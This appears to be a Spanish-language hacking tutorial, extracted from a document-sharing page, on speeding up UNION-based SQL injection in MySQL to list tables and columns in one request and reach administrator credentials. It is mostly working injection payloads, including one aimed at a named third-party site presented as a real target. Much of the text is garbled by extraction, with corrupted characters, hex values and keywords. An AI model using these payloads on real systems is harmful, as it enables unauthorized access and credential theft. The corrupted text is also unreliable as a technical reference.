Sunteți pe pagina 1din 3

Optimizacin de SQL Union Injection en MYSQL

Sin lugar a dudas, este es el tipo de inyeccin que mas fcil se puede obtener informacin, en un par
de consultas se lograra obtener el nombre de usuario y contrasea del administrador del sistema o
de algn usuario con privilegios.
Pero tambin consta de una etapa que es engorrosa, la obtencin de tablas y sus correspondientes
campos. laramente en una base de datos !ysql "ersin #.$.
%racias a la base de datos information&sc'ema, podemos obtener las tablas y los campos de la base
de datos.
(a sinta$is omn de la obtencin de las tablas es la siguiente
SELECT+table_name+FROM+information_schema.TABLES+WHERE+table_schema=ATABASE!"
+limit+#$%
on dic'a consulta obtendramos la primera tabla de la base de datos, luego aumentando el valor de
limit podramos obtener las dems tablas.
(uego de encontrar la tabla que nosotros creemos que contendra la informacin de los usuarios,
procedemos a obtener los campos de dic'a tabla.
Por e). , Para obtener los campos de la tabla *usuarios+.
,ebemos transformar el nombre usuarios a su valor 'e$sql.
&s'ario( #*+,+-+,.%+/.0.F+-
SELECT+col'mn_name+FROM+information_schema.COL&M1S+WHERE+table_name=#2+,+-+,.%+
/.0.F+-+limit+#$%
- as tendramos los datos necesarios para poder generar la consulta final, 'acia la base de datos.
Pero luego de 'acerlo varias veces en distintas paginas, esta metodologa resulta bastante
agobiante,al tener que consultar cada tabla, cada campo por separado, es por ello que desarrolle una
query que muestra la informacin que a nosotros nos interesa en . sola peticin.
Ejemplo Consulta Final:
Localhost/vulnz.php?
id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x!,ta"le_name,0x#$
2%2&',(,),$+*rom+in*ormation_schema.columns++here+ta"le_name=(select+ta"le_name
+*rom+in*ormation_schema.ta"les++here+ta"le_schema=data"ase('
+and+ta"le_name+,&-&./+0x2&2!2020%)%)1%)$))2%#$#$3$%)1$4$3)2$&%#$1$($224242&2!+
limit+0,1'+limit+0,155
Obtendramos los !alores de la si"uiente manera#
Campo, Tabla.
/nalicemos a 0ondo la onsulta.
Consulta $ue Obtiene las Columnas en %ase a una &abla#
=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x!,ta"le_name,0x#$2%
2&',(,),$+*rom+in*ormation_schema.columns++here+ta"le_name=(#6789L:!_,&8:,;##;6
7'+limit+0,155
Consulta 'estriccin: Con Esta Consulta obtendremos la o las tablas $ue cumplan con la
restriccin impuesta por la e(presin re"ular#
select+ta"le_name+*rom+in*ormation_schema.ta"les++here+ta"le_schema=data"ase('
+and+ta"le_name+,&-&./+0x2&2!2020%)%)1%)$))2%#$#$3$%)1$4$3)2$&%#$1$($224242&2!+
limit+0,1
E(presin 'e"ular#
RE3E45+#*/E/A/6/6+,+-,B+,.,,+C.C.F.+,B.0.F,.E+C.%.7./0/0/E/A
.8!!'s9'e:;lo<9io:n;a=m"".8
Con esta E(presin podramos obtener al"unos de los nombres mas comunes de las tablas $ue
contienen in)ormacin relacionada con los usuarios como podra ser :
* Usuario
* Username
* User
* +dministrador
* +dministrator
* Lo"in
* Lo"on
* etc
Ejemplo 'eal:
http<//+++."uenosaires20)0.org/noticias.php?
id=4+and+1=2+union+select+1,2,,(,group_concat(column_name,0x!,ta"le_name,0x#
$2%2&',$+*rom+in*ormation_schema.columns++here+ta"le_name=(select+ta"le_name+*r
om+in*ormation_schema.ta"les++here+ta"le_schema=data"ase('
+and+ta"le_name+,&-&./+0x2&2!2020%)%)1%)$))2%#$#$3$%)1$4$3)2$&%#$1$($224242&2!+
limit+0,1'+limit+0,155
Saludos a &odo el Sta)) de Undersecurit,#net
Oz- .Undersecurit,#net/
Fuente

S-ar putea să vă placă și